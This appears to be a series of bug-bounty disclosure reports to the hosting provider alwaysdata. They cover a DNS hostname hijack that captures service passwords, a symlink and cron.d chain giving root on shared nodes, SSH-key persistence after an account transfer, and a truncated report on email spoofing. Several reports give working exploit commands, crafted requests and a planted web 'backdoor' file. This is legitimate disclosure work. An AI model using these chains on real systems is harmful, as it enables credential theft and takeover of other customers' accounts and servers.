Vulnerability Category: Access Control Issues / Broken authentication & session management / Exposure of Sensitive Information, per the qualifying list on your bug bounty page.
Description:
An account's name is used to generate that account's per-service alwaysdata.net zone.
You already recognise the risk and maintain a blocklist of service prefixes for the name field, but it covers only 8 of the 10 prefixes your own interface documents.
"imap-" and "carddav-" are missing, along with the other omitted service prefixes, and the relevant services authenticate with a plaintext password on every connection.
Creating a free account called:
caldav-<victim>
therefore takes over:
caldav-<victim>.alwaysdata.net
which is the CalDAV endpoint your own panel tells customer <victim> to configure.
The DNS record moves to the attacker's web node, and your wildcard certificate for the hostname remains valid. A request carrying an Authorization: Basic header for that hostname therefore lands in the attacker's own web root.
That password is the account's service password described at /admin/account/add/ as being used for default users such as FTP, MySQL and SSH.
Two code paths disagree, and that disagreement is the defect.
The user-facing site address field correctly refuses a hostname the attacker does not own:
caldav-vk7victim.alwaysdata.net
is rejected with:
"The domain name alwaysdata.net does not belong to you"
and:
vk7victim.alwaysdata.net
is rejected with:
"delegated to the vk7victim account".
The auto-provisioner's DEFAULT address on account creation does not run that check.
Only the path a customer cannot see is blind.
SCOPE NOTE, established by testing rather than assumed:
Of the four forgotten prefixes, only "caldav-" and "carddav-" are exploitable this way because those services run over the ports the attacker's web node serves.
I checked the other prefixes rather than claiming them:
``` 185.31.41.11 the attacker's web node 443 OPEN 993 closed 110 closed 185.31.40.62 the real IMAP and POP host 993 OPEN 995 OPEN 143 OPEN 443 closed 185.31.41.92 the real CalDAV host 443 OPEN 993 closed ```
Seizing imap-<victim> or pop-<victim> therefore points the victim's mail hostname at a host where the relevant mail ports are closed. That disrupts the victim's mail rather than capturing credentials.
Because mail service is outside the programme's scope, I make NO claim about those two prefixes beyond the blocklist gap itself.
Everything below is specific to caldav- and carddav-.
Vulnerable Instances:
POST https://admin.alwaysdata.com/admin/account/add/ field "name"
POST https://admin.alwaysdata.com/account/<id>/rename/ field "name"
POST https://www.alwaysdata.com/en/register/ free self-service signup, no captcha
The DNS auto-provisioner creates an account's default alwaysdata.net zone.
Steps to Reproduce:
Total cost: EUR 0, approximately four minutes.
Every account involved is one I own, and the "victim" record belongs to my own second account.
1. The blocklist gap.
Each row below is a single POST to /admin/account/add/ showing the validator's verdict on the name field.
ssh-vk7victim -> "This name contains an invalid prefix."
ftp-vk7victim -> "This name contains an invalid prefix."
smtp-vk7victim -> "This name contains an invalid prefix."
webdav-vk7victim -> "This name contains an invalid prefix."
mysql-vk7victim -> "This name contains an invalid prefix."
postgresql-vk7victim -> "This name contains an invalid prefix."
rabbitmq-vk7victim -> "This name contains an invalid prefix."
services-vk7victim -> "This name contains an invalid prefix."
imap-vk7victim -> ACCEPTED, no prefix error
pop-vk7victim -> ACCEPTED, no prefix error
caldav-vk7victim -> ACCEPTED, no prefix error
carddav-vk7victim -> ACCEPTED, no prefix error
The charset validator is separate and works correctly. Invalid characters are rejected, while alphabetic, numeric and hyphen characters are accepted.
Uniqueness is case-insensitive, so VK7RESEARCH is refused.
2. Obtain a second free account.
/admin/account/add/ refuses a second free product for one user, so I used the public signup, which is free and has no captcha.
POST https://www.alwaysdata.com/en/register/
email=<ours>[+x@alwaysdata.net](mailto:+x@alwaysdata.net) & password=... & privacy_policy=on
-
Location: /login/?user_id=<dec>&expiration=<ts>&token=<epoch>-<hmac>
Plus addressing on my own platform mailbox works, so the validation message can be received.
imap-<ours>.alwaysdata.net:993 with the service password.
I completed:
/user/validate/?user_id=<b36>&token=...
and then POST /login/.
3. Record the victim's CalDAV record BEFORE the attack.
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net A
> 185.31.41.92
the shared Radicale CalDAV host
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net AAAA
> 2a00:b6e0:1:90:8::1
4. Create the colliding account.
One request, with no warning or confirmation:
POST https://admin.alwaysdata.com/admin/account/add/
Referer: https://admin.alwaysdata.com/admin/account/add/
csrfmiddlewaretoken=<tok>&name=caldav-vk7victim&password=<pw>&product=2012&period=1mo
&location=datacenter_3&contract_28=on&contract_36=on
-
Location: /subscription/
/subscription/ then lists:
caldav-vk7victim | Free (1GB disk, 256M...)
account 500765, subscription 520987
with a default site 1078599 and subdomain object 1351172 for:
caldav-vk7victim.alwaysdata.net
5. The victim's record has moved.
I queried the authoritative nameserver so this is not a local cache artefact.
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
> 185.31.41.11
the shared web node serving the attacker's new account
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
> 2a00:b6e0:1:20:23::1
$ dig +short @1.1.1.1 caldav-vk7victim.alwaysdata.net A
> 185.31.41.11
6. The edge supplies valid TLS for the stolen name, so the victim's client sees no warning.
$ openssl s_client -connect caldav-vk7victim.alwaysdata.net:443
-servername caldav-vk7victim.alwaysdata.net
> subject=CN=*.alwaysdata.net
> issuer=C=US, O=Let's Encrypt, CN=YE1
> X509v3 Subject Alternative Name:
DNS:*.alwaysdata.net, DNS:alwaysdata.net
> notBefore=Sep 15 06:30:39 2026 GMT
> notAfter=Dec 14 06:30:38 2026 GMT
7. The credential channel terminates in the attacker's web root.
The genuine service at that hostname uses HTTP Basic, so the client transmits the credential on requests to the hostname.
$ curl -D- https://caldav-vk7research.alwaysdata.net/
-
> www-authenticate: Basic realm="Radicale - Password Required"
> server: WSGIServer/0.2 CPython/3.11.2
A one-line index.php in the attacker account's web root echoes the Authorization header.
Simulating the client your own documentation tells account vk7victim to configure:
$ curl -H "User-Agent: DAVx5/4.3.1 okhttp/4.12"
-u 'vk7victim:<placeholder>'
https://caldav-vk7victim.alwaysdata.net/index.php
-
> via: 2.0 alproxy
> served by account: caldav-vk7victim on host http22
> Host header: caldav-vk7victim.alwaysdata.net
> Authorization header received: Basic dms3dmljdGltOi4uLg==
The value in this request is a PLACEHOLDER, not the account's real password.
The important point is that the credential channel for the victim's hostname terminates in an unrelated EUR 0 account's web root, inside a TLS session that Alwaysdata itself certified.
8. Additional defect found while remediating: releasing the name does not restore the DNS record.
POST /account/500765/rename/
name=zztestl6dns
-
$ dig +short @dns1.alwaysdata.com caldav-zztestl6dns.alwaysdata.net
> 185.31.41.92
the new name provisioned correctly
$ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
> 185.31.41.11
STILL pointing at the attacker's node
Therefore, the hijack outlives the account name that caused it.
A no-op rename did not restore it either.
This is the same stale binding class you have already fixed and paid several times over (FS#139, FS#146, FS#167, FS#217, FS#221, FS#294).
9. Controls that rule out alternative explanations.
a. The records are real per-account entries, not a wildcard.
$ dig +short @dns1.alwaysdata.com zzznosuchaccount9912.alwaysdata.net
> no matching account record
b. Sibling records are untouched throughout, so the reassignment is targeted rather than global:
caldav-vk7research.alwaysdata.net A -> 185.31.41.92
carddav-vk7research.alwaysdata.net A -> 185.31.41.92
imap-vk7research.alwaysdata.net A -> 185.31.40.62
$ curl -o /dev/null -w '%{http_code} %{remote_ip}'
https://caldav-vk7research.alwaysdata.net/
> 302 185.31.41.92
c. The prefix check is a pure prefix match, independent of whether the suffix names a real account:
ssh-nosuchacct9912 -> blocked
pop-nosuchacct9912 -> accepted
d. The user-facing address field DOES enforce ownership, which demonstrates that the two paths disagree rather than there being no check at all.
Submitting each of the following on a site I own returned HTTP 200 with a field error and persisted nothing:
vk7victim.alwaysdata.net
caldav-vk7victim.alwaysdata.net
imap-vk7victim.alwaysdata.net
ssh-vk7victim.alwaysdata.net
The control that proves my request shape was correct:
vk7research.alwaysdata.net/orchctl
returned HTTP 302 in the identical request and was persisted and read back.
Proof of Concept:
Steps 1 to 9 reproduce end to end from curl, dig and openssl with an ordinary free account.
The DNS value change in step 5 was confirmed twice from two independent resolvers, while the sibling records in step 9b remained unchanged during the same sweep.
WHAT THIS REPORT DOES NOT CLAIM, stated plainly:
* I did not point a real third party's calendar client at the seized hostname.
The Authorization header shown in step 7 carries a placeholder rather than any real password. I did not need a real secret to prove where the credential channel terminates, and I did not capture one.
* I did not use a captured credential against FTP, MySQL or SSH.
The reason the service password matters is your own help text at /admin/account/add/, which states that the password is used for default users. I did not need to exercise those services to establish the credential reuse risk.
* The remaining step is standard DAV client behaviour rather than speculation.
A client configured for caldav-<victim>.alwaysdata.net resolves that hostname, reaches the attacker-controlled host over valid TLS, and transmits Basic credentials because that is what the genuine endpoint requires.
Nothing about the victim's configuration changes and nothing prompts them.
I did not execute this against a real victim, so you can weigh the demonstrated credential channel directly.
* I did not claim imap- or pop- seizure as credential capture. See the scope note above.
* The one artefact I cannot repair myself is in step 8:
caldav-vk7victim.alwaysdata.net
still resolves to:
185.31.41.11
as of this report.
Nothing of mine is served there. The record belongs to vk7victim, which is an account I own, so no customer of yours is affected.
Please restore it.
Test window:
2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.
Requests were sequential and paced. Account creation was limited to the single extra account required for the test.
Impact:
With one free signup, an attacker can take over the CalDAV or CardDAV hostname of any named account, and account names are public information under your own rules.
The victim's client can then send the account's service password to the attacker over valid TLS, with no certificate warning and no user action beyond its normal scheduled sync.
Because that password is shared with FTP, MySQL and SSH according to your own account creation documentation, successful capture would potentially extend beyond the calendar or contacts service to the victim's broader hosting account.
The affected account could therefore expose its website, databases, mail and files, depending on which services use the shared service password.
The victim also loses the calendar or contacts service itself because their hostname no longer points to the genuine service.
On the two exclusions in your rules that could be misread onto this finding:
First, the customer site exclusion does not apply. The alwaysdata.net hostnames are linked to customer accounts, and this is not a flaw in a customer's site or anything a customer configured.
The provisioning code operates in a DNS zone controlled by Alwaysdata, and the record is reassigned from one customer to another by your own account creation path. No customer action is involved on either side.
Second, the fact that account names may be discoverable in many different ways does not change the finding.
I am not reporting account name disclosure. The account name is simply the input that selects which victim's DNS record gets reassigned. If name disclosure were eliminated, the provisioning flaw would still exist and would still be reachable by anyone who knows one account name.
On duplication with FS#348 :
That report, "Subdomain Squatting on alwaysdata.net Platform Namespace", was closed Invalid and concerned claiming unused labels.
This finding takes an existing hostname that already resolves for a live customer and reassigns its DNS record.
Step 5 demonstrates the value changing from the genuine CalDAV host to the attacker's web node, while four sibling records remain unchanged as controls in step 9b.
The defect is therefore in the provisioner's collision handling, not in the availability of an unused name.
What this achieves that a customer's own SSH shell cannot:
It allows a customer to rewrite a DNS record in a zone they do not own and redirect another customer's service hostname to infrastructure controlled by the attacker.
CVSS v3.1:
9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
AV:N because every step is performed through network requests.
AC:L because the sequence is deterministic and the only required input is a name the attacker already knows.
PR:L because a free account is required.
UI:N because no victim interaction is required to perform the DNS reassignment. The victim's client sends the credential on its own next scheduled sync, without prompting the victim.
S:C because the vulnerable component is the account provisioning system, while the impacted components are the shared DNS zone and another customer's account.
C:H because the captured credential is the account's service password.
I:H and A:H because the shared password is used across FTP, MySQL and SSH, and because the victim loses the CalDAV/CardDAV service itself.
If you prefer to treat the client's next reconnection as user interaction, the score would be lower.
The demonstrated impact remains Critical under that interpretation, and I am content for you to settle the final scoring based on the facts above.
Recommendation:
1. Complete the prefix blocklist.
Add all omitted service prefixes, including:
"imap-"
"pop-"
"pop3-"
"caldav-"
"carddav-"
Better, derive the validation list from the same service-prefix list used by the provisioner so the two cannot drift apart again.
2. Apply the ownership and collision check in the auto-provisioner, not only in the user-facing address form.
A default address that would collide with an existing record in the shared zone should be rejected using the same ownership check that control 9d shows you already implement on the other path.
3. Reject any account name that would collide with an existing generated record in the zone rather than relying solely on a static prefix list.
4. Restore a released hostname to its rightful owner when a colliding account is renamed or deleted, as demonstrated in step 8.
5. Consider not sharing one password across web, FTP, SSH and MySQL.
Separating service credentials would ensure that capturing one service credential does not automatically provide access to the broader hosting account.
|
|
484 | Arbitrary file write and code execution as root on shar ... | Closed | 24.09.2026 |
Task Description
Vulnerability Information:
Name of Vulnerability: Arbitrary file write as uid 0 on the shared hosting nodes. Four privileged writers open a destination path inside a directory the customer owns, without O_NOFOLLOW, and the site fields "log_type", "log_file" and "log_format" let the customer choose both the destination and the content. This yields root code execution from a single HTTP request to the customer's own website.
Vulnerability Category: Remote Code Execution (RCE) / Horizontal and vertical privilege escalation / Local files access and manipulation, per the qualifying list on your bug bounty page.
Description:
Your control plane distributes per-account configuration to the fleet through the filesystem. Root processes on overlord-core and on the node write generated files into each customer's NFS-mounted home under ~/admin/.
Two of the directories in that path are owned or writable by the customer and neither carries the sticky bit, so the customer can move or delete the root-owned directories underneath and substitute their own.
/home/<account> is drwxrwx— root:<account>, and ~/admin/logs is drwxr-x— <account>:<account>, while its children logs/http and logs/sites are root:root.
rename(2) and unlink(2) require write and execute permission on the PARENT directory only. Therefore, an unprivileged customer can replace those root-owned children and can replace the whole ~/admin tree the same way.
Hardening the inner directories has no effect while their parent remains writable by the tenant.
Having taken control of the path, the customer plants a symlink where the privileged writer expects to write.
The writers open their destination with O_CREAT|O_APPEND and no O_NOFOLLOW, and do not unlink the destination first. They therefore follow the symlink and write to its target as uid 0.
For the HTTP access-log writer, the customer controls the content by selecting:
log_type=CUSTOM
This makes the site field log_format the access-log line format. It is free text with a maximum length of 1024, is not validated, and is emitted verbatim.
Path control plus content control therefore provides arbitrary root file creation and, from there, arbitrary root code execution.
Writing a crontab into /etc/cron.d/ produces a root shell within 60 seconds, and I obtained:
uid=0(root)
on the shared web node http22.
This is the same class as FS#367 , which you fixed and paid, but it is a different mechanism. FS#367 was argument injection into a sudo helper, and that helper is now correctly hardened.
Vulnerable Instances:
POST https://admin.alwaysdata.com/site/<id>/ fields: log_type, log_file, log_format
POST https://admin.alwaysdata.com/environment/ any change that causes configuration regeneration
~/admin/logs/http/<YYYY>/<log_file>-<date>.log written by the shared front end as root
~/admin/logs/sites/<YYYY>/sites-<date>.log written by the shared front end as root
~/admin/config/apache/sites.conf written by "Updating Apache configuration" as root
~/admin/config/apache/apache.conf same writer
~/admin/config/php/*.ini regenerated root:root inside a replaced subtree
~/admin/logs/jobs/<YYYY>/<jobid>-<date>.log written as root by the job command
The issue was reproduced on the web tier http22 and the SSH tier ssh2, which share /home over NFSv4.
Steps to Reproduce:
All steps run on vk7research, a free plan account I own. The starting state is a freshly provisioned free account with one site.
1. The precondition.
The root-owned control tree sits inside directories the customer controls, with no sticky bit anywhere in the path.
$ stat -c "%A %U:%G %n" ~ ~/admin ~/admin/logs
> drwxrwx— root:vk7research /home/vk7research
> drwxr-xr-x root:root /home/vk7research/admin
> drwxr-x— vk7research:vk7research /home/vk7research/admin/logs
$ ls -la ~/admin/logs/
> drwxr-xr-x 3 root root 26 .. http
> drwxr-xr-x 3 root root 26 .. sites
Two root:root directories therefore exist inside a directory controlled by the account.
2. Take control of the destination path.
$ mv ~/admin/logs/http ~/admin/logs/http.bak
$ mkdir -p ~/admin/logs/http/2026
Both commands succeed as the unprivileged account.
3. Plant the symlink under the filename the writer will open.
The final path component comes from the site field log_file, so the name is known in advance.
$ ln -s /etc/cron.d/l3root ~/admin/logs/http/2026/L3F-2026-09-20.log
4. Set the three site fields, authenticated as the ordinary account owner.
POST https://admin.alwaysdata.com/site/1078598/
Referer: https://admin.alwaysdata.com/site/1078598/
csrfmiddlewaretoken=<tok>&log_type=CUSTOM&log_file=L3F
&log_format=* * * * * root /bin/sh /home/vk7research/l3poc.sh
-
5. Issue ONE HTTP request to the customer's own website.
The root writer creates the symlink target.
$ curl -s https://vk7research.alwaysdata.net/ >/dev/null
$ ls -la /etc/cron.d/l3root
> -rw-r–r– 1 root root 48 Sep 20 07:36 /etc/cron.d/l3root
$ cat -A /etc/cron.d/l3root
> * * * * * root /bin/sh /home/vk7research/l3poc.sh$
The cat -A output is exactly the submitted log_format value and is fully attacker controlled rather than being appended to an existing line.
6. Within 60 seconds cron executes it as root.
The three commands below are the ones your rules specify for demonstrating root:
$ id
> uid=0(root) gid=0(root) groups=0(root)
$ hostname
> http22
$ pwd
> /root
$ cat /proc/1/maps
> 153 lines, 16495 bytes
$ touch /root/vk7research ; ls -la /root/vk7research
> -rw-r–r– 1 root root 0 Sep 20 07:37 /root/vk7research
7. Controls that rule out alternative explanations.
a. Symlink following was isolated before any content control was attempted.
A root:root file appeared at a path of my choosing using the config writer alone.
b. A destination OUTSIDE the home, in a directory the tenant cannot write, confirms that the write is not merely occurring inside space I already own.
/nfs/http22.root
My UID receives Permission denied on it.
$ ln -s /nfs/http22.paris1/ROOTWRITE_CANARY ~/admin/config/apache.conf
(regenerate the Apache config)
$ ls -la /nfs/http22.paris1/ROOTWRITE_CANARY
> -rw-r–r– 1 root root 1254 Sep 20 07:39 /nfs/http22.paris1/ROOTWRITE_CANARY
c. The destination is attacker-chosen and is resolved by the privileged writer.
Pointing the same symlink into a directory that does not exist makes the platform task end in:
Status: Failure
instead of succeeding.
/task/40446968/detail/ -> Failure
(symlink target directory absent)
/task/40447214/detail/ -> Completed
(symlink target directory exists)
d. This is a real uid 0 write on the node, not a root-squashed NFS write.
A marker written to /tmp/L3ROOTPROBE-a1b2 is root:root on http22 and absent on ssh2, confirming that the write executes as root on the web node.
e. The tenant cannot reach uid 0 through another route on these nodes.
I checked:
$ grep -E "NoNewPrivs|CapEff" /proc/self/status
> NoNewPrivs: 1
> CapEff: 0000000000000000
sudo refuses over SSH entirely.
$ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null | wc -l
> 0
There is no SUID or SGID binary anywhere on either node.
$ sudo -n -l
> (root) NOPASSWD: /alwaysdata/sbin/install_language_package
That helper is the only grant and is properly fixed.
I tested 14 injection variants, including command separators, quotes, LF, -o Dpkg::Pre-Invoke::= in both argument positions, arithmetic subscripts and relative source CWD hijacking. All returned rc=2 and wrote no marker.
$ head -1 /proc/1/maps
> head: cannot open '/proc/1/maps' for reading: No such file
/proc is mounted with hidepid=invisible, so the 16,495-byte capture in step 6 is obtainable only as uid 0.
f. Your own codebase contains the correct pattern, so this is an inconsistency rather than a design choice.
The php_ini writer creates a fresh content-hashed file:
php-<siteid>.ini
A planted symlink there is replaced rather than followed, and that writer is NOT vulnerable.
Proof of Concept:
Steps 1 to 7 reproduce end to end with standard Linux tools and an ordinary authenticated session on a free plan account.
I executed the chain twice through two independent writers described in steps 3 to 6, and also reproduced the behaviour with the Apache configuration writer in control 7b, whose root-owned output landed outside my home directory.
WHAT THIS REPORT DOES NOT CLAIM, stated plainly:
* I did NOT read other customers' files, mail, databases or keys. The scale figures in the Impact section below come from directory link counts on the NFS export roots, without entering anyone else's directory.
* While I held uid 0, I did not touch /etc/passwd, /etc/shadow, /etc/sudoers, any authorized_keys file, and I installed no persistence. The only files I created are listed in the cleanup note accompanying this report.
* I did not test whether root on this client is root on the imap5 or backup2 NFS exports, so I make no claim about the mail or backup stores beyond noting the relevant shared infrastructure.
* /etc/cron.d/l3root was removed and its absence was verified over a five-minute window with no further executions.
* The genuine root:root ~/admin/logs/{http,sites} directories were restored.
* I noticed that /run/rpcbind.sock is mode srw-rw-rw- on both ssh2 and http22, which are NFS clients of the customer mail and backup estate. I did NOT touch it because doing so would be disruptive and your rules prohibit that. I mention it so you can audit it.
Test window:
2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.
Requests were sequential and paced. Several short-lived SSH sessions were used during that window, and the connection rate guard began refusing them toward the end.
Impact:
Any customer on a free plan can obtain uid 0 on the shared node that hosts their website with one HTTP request to their own website.
No paid product, special permission or second account is required.
The scale is visible from metadata that a tenant can read directly. The NFS export roots under /nfs/ are drwxr-x–x root:root, so they cannot be listed, but their directory link counts expose the approximate number of per-account subdirectories each volume holds:
$ ls -la /nfs/
→ drwxr-x–x 6393 root root http21.paris1 approximately 6391 per-account directories
→ drwxr-x–x 8147 root root http22.paris1 approximately 8145 per-account directories
→ drwxr-x–x 6006 root root imap3.paris1 approximately 6004 per-account directories
→ drwxr-x–x 27750 root root imap5.paris1 approximately 27748 per-account directories
http22, the node where I obtained root, is itself the NFSv4 server for the home directories on /nfs/http22.paris1.
That is the directory where my test demonstrated a root-owned file could be created at a path my account could not otherwise write.
Every co-tenant home is also mounted on the node, as shown by the tenant's own mount table:
http22.paris1:/<account> on /home/<account> type …
/var/lib/extrausers/passwd, the node-wide NSS database, holds approximately 8,515 accounts.
What follows from uid 0 on a POSIX host with those mounts is direct filesystem authority over the files the node can reach, including directories belonging to co-located accounts.
The root writer chain therefore includes access to locations such as:
/etc/sudoers.d /etc/passwd /etc/shadow authorized_keys
I am not inferring a capability that was not tested. The demonstrated capability is arbitrary file creation as uid 0, including outside the customer's own home, and the resulting root shell.
On the argument that "our clients can already execute anything they want using the shell":
That reasoning does not apply here.
This is the reasoning previously used to close FS#347 , FS#449 and FS#470 , and I tested it rather than assuming it away.
Control 7e shows that the tenant shell cannot reach uid 0 through the existing routes:
* NoNewPrivs is 1, so sudo refuses outright. * CapEff is all zero. * There is no SUID or SGID binary on either node. * The single sudo grant is correctly validated. * /proc is protected with hidepid. * The write demonstrated in steps 5 and 6 happens as uid 0.
The gap between what a customer shell can do and what this vulnerability yields is the entire finding.
CVSS v3.1:
9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
AV:N because the trigger is an authenticated HTTP request to admin.alwaysdata.com plus one request to the customer's own site.
AC:L because the sequence is deterministic once the account and site are available.
PR:L because a free account is required.
UI:N because no other person participates.
S:C because the vulnerable component is the control plane's configuration service while the impacted component is the operating system of a shared node and the accounts co-located on it.
C:H, I:H and A:H because uid 0 on that node has authority over the data, configuration and services accessible from the shared operating system environment.
If you prefer to score only what I directly exercised rather than the full authority conferred by uid 0, the demonstrated arbitrary root file creation in /etc is itself sufficient to establish a Critical impact.
Recommendation:
1. Do not store root-owned state inside a customer-writable directory.
Move the ~/admin control tree outside /home/<account>, or make /home/<account> and ~/admin/logs non-writable by the tenant, or set the sticky bit so the tenant cannot rename or delete root-owned children.
This closes the whole class and is the only fix that closes all four affected writers.
2. Open every generated destination with O_NOFOLLOW, and write via a fresh temporary file followed by an atomic rename(2) rather than opening an existing path.
Your php_ini writer already uses the correct pattern, so that implementation can be reused.
3. Drop privileges to the account's UID for anything written inside the customer's home.
None of these files needs to be created by uid 0.
4. Validate log_format.
It is currently up to 1024 bytes of unvalidated text consumed by a root process, and this is what turns the arbitrary file write into code execution.
Restrict it to the documented format directives.
5. Audit the other writers in the same service for the same ordering and symlink-following issue.
I found four affected writers, and the jobs/<YYYY>/<jobid>-<date>.log writer additionally embeds job-controlled content, giving it the same content-control property as log_format.
|
|
483 | Account transfer leaves previous owner with permanent u ... | Closed | 16.09.2026 |
Task Description
# alwaysdata — Account transfer leaves the previous owner with permanent, unrevocable SSH access
Researcher: (submit via security.alwaysdata.com task) Target: https://admin.alwaysdata.com/ssh/ (panel) + ssh-<account>.alwaysdata.net Severity: Critical (CVSS 3.1 ≈ 9.1 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) Date: 2026-09-16
—
## Summary
An alwaysdata account can be transferred from one profile to another (`Transfers → Transfer a → account`). When the account changes hands, the previous owner keeps full SSH shell access to it — provided they planted an SSH public key while they still owned the account.
The key survives the ownership change, is not visible anywhere in the new owner's panel or in the API, and keeps working after the new owner rotates the SSH user's password. The SSH user also cannot be deleted — the panel renders the delete control disabled with `title="Impossible deletion"` — so the new owner has no way inside the platform to remove the previous owner's access.
Net effect: the new owner receives an account that a third party they know nothing about can still log into, read, and write.
## Affected asset
- `https://admin.alwaysdata.com/transfer/` — account transfer flow - `https://admin.alwaysdata.com/ssh/` and `https://admin.alwaysdata.com/ssh/<id>/` — SSH user management - `ssh-<account>.alwaysdata.net` — SSH endpoint - Underlying defect: `~/.ssh/authorized_keys` of the account's SSH user is account content that survives
the ownership change, while the management surface exposes only `name / password / home_directory /
shell / can_use_password / annotation` (verified against `https://api.alwaysdata.com/v1/ssh/doc/`).
There is **no field anywhere for SSH public keys**.
## Reproduction
Two accounts, both owned by me, on the same platform. No third-party data is involved.
Roles: A = the victim (new owner), B = the previous owner (`adsecb01`, account id 499971).
1. As B, add my SSH public key to the account's SSH user:
```
ssh B@ssh-adsecb01.alwaysdata.net # password login
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-ed25519 AAAA...C1lZDI1NTE5AAAAI... stale-access-test" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
```
Verify key-only login works (no password):
```
ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
B@ssh-adsecb01.alwaysdata.net id
→ uid=547923(adsecb01) gid=501971(adsecb01) groups=501971(adsecb01)
```
2. As B, transfer the account to A: `Transfers → Transfer a → account → new owner: A's email`.
As **A**, accept it: `Transfers` → Accept → tick *Special conditions (shared hosting)* and
*Terms of use* → Submit.
→ `Transfers` shows "No pending transfer" and A's `Subscriptions` now lists `adsecb01`.
3. The panel access of B is correctly revoked (B's account selector is empty, none of B's pages
mention `adsecb01` any more) — **but the key still logs in**:
```
ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
B@ssh-adsecb01.alwaysdata.net id
→ uid=547923(adsecb01) ...
```
4. A hardens the account the only way the panel allows: `SSH users → adsecb01 → set a new password →
Submit`. The old password stops working:
```
ssh B@ssh-adsecb01.alwaysdata.net # password auth with the old password
→ Permission denied, please try again.
```
…and the planted key **still works**:
```
ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
B@ssh-adsecb01.alwaysdata.net "echo KEY_STILL_WORKS_AFTER_ROTATION"
→ KEY_STILL_WORKS_AFTER_ROTATION
```
5. There is no way for A to remove it from the panel:
the ` SSH users` row for `adsecb01` — the user whose name matches the account, i.e. the one carrying
the planted key — renders its delete control as
`<i class="far fa-trash-alt disabled" alt="Impossible deletion" title="Impossible deletion"></i>`
with **no delete link at all**, and this stays disabled even after A adds a second SSH user
(`adsecb01_safe`), whose own delete link *is* active. So the primary SSH user cannot be removed by
the owner, ever, through the panel;
- `https://admin.alwaysdata.com/ssh/537923/` offers only *Name / Password / Home directory / Shell /
Enable password-based login / Annotation* — no key management;
- the `ssh` API resource (`https://api.alwaysdata.com/v1/ssh/doc/`) exposes `id, href, name, password,
home_directory, shell, can_use_password, annotation` — no key-related field.
The single remaining remediation is to log in over SSH and empty `~/.ssh/authorized_keys` by hand —
which presupposes the new owner already knows a foreign key is there, and nothing in the client area,
the transfer notification, the SSH user page or the API tells them that.
6. Proof of actual read/write on the new owner's data — A writes files, B reads/writes with the key only:
```
# as A (new owner, with the rotated password)
echo 'SECRET-OF-NEW-OWNER' > ~/newowner_private.txt
echo 'NEW-OWNER-DEPLOYMENT' > ~/www/deployed_by_new_owner.html
# as B (previous owner, no password, key only)
cat ~/newowner_private.txt → SECRET-OF-NEW-OWNER
echo '<h1>PWNED-BY-PREVIOUS-OWNER</h1>' > ~/www/prev_owner_backdoor.html
```
The planted file is served publicly from the new owner's domain:
```
curl https://adsecb01.alwaysdata.net/prev_owner_backdoor.html
→ 200 <h1>PWNED-BY-PREVIOUS-OWNER</h1>
```
## Impact
A previous owner retains persistent, password-independent, panel-invisible shell access to an account that now belongs to someone else. From that position they can read, modify or delete the new owner's files, databases, mail configuration and deployed code; run arbitrary processes under the account; plant web backdoors reachable over the account's public domain; and re-establish access at will.
The compromise is designed-in by the platform, not by user error: the new owner sees the SSH user, cannot delete it ("Impossible deletion"), has no UI or API to inspect its authorized keys, and rotating the password — the natural harden-after-receiving-an-account action — does not revoke the attacker's key. Nothing in the client area signals that a third party still holds working credentials.
This is the same class as two reports you already fixed and paid: - FS#139 — *Session Persistence After Subdomain Reuse or Transfer Leads to Email Account Takeover* - FS#294 — *Persistent Owner Access Leads to Mailing Takeover After Domain Transfer*
Both relied on the same principle: an ownership change must terminate the previous owner's access. The transfer of an account (rather than a subdomain or a mailing) still does not do that for SSH keys.
## Recommendation
1. On account transfer, revoke the previous owner's credentials: clear (or rotate) the account's SSH
`authorized_keys`, and/or force regeneration of the account's SSH users and their passwords.
2. Expose SSH public keys as first-class objects (field on the SSH user, panel UI + `ssh` API resource)
so the owner can see and delete every key that grants access.
3. Allow deleting/replacing the last SSH user (currently blocked as "Impossible deletion"), or at minimum
allow clearing its authorized keys.
4. Notify the new owner when an account arrives with pre-existing SSH keys, and record a transfer-time
event in `Logs` that lists the credentials that were active at handover.
## Notes on testing discipline
- All testing used two accounts I own; no other customer's data was accessed. The key, the files and the
web backdoor live on my own free-tier accounts and can be left in place for your retest.
- No automated scanners were used, no DoS, no third-party assets.
|
|
481 | Any account can send fully authenticated email as any @ ... | Closed | 21.09.2026 |
Task Description
Assets: webmail.alwaysdata.com (in scope) and the account submission service smtp-<account>.alwaysdata.net:465/587 (documented sending path, reached from the in-scope ssh-<account>.alwaysdata.net session). The vulnerable components are alwaysdata's own mail infrastructure: their submission relays (smtpout1.paris1.alwaysdata.com), their DKIM signer (d=alwaysdata.net, s=default) and their SPF ranges. Class: CWE-290 (authentication bypass by spoofing) / CWE-863 (incorrect authorization) CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N — because the impact is on every receiving system that trusts alwaysdata's mail authentication
Summary
An account as cheap as Free can send email as any address in the alwaysdata.net domain — ceo@, support@, any name — and the platform relays and DKIM-signs it. The forgery is not cosmetic: it verifies.
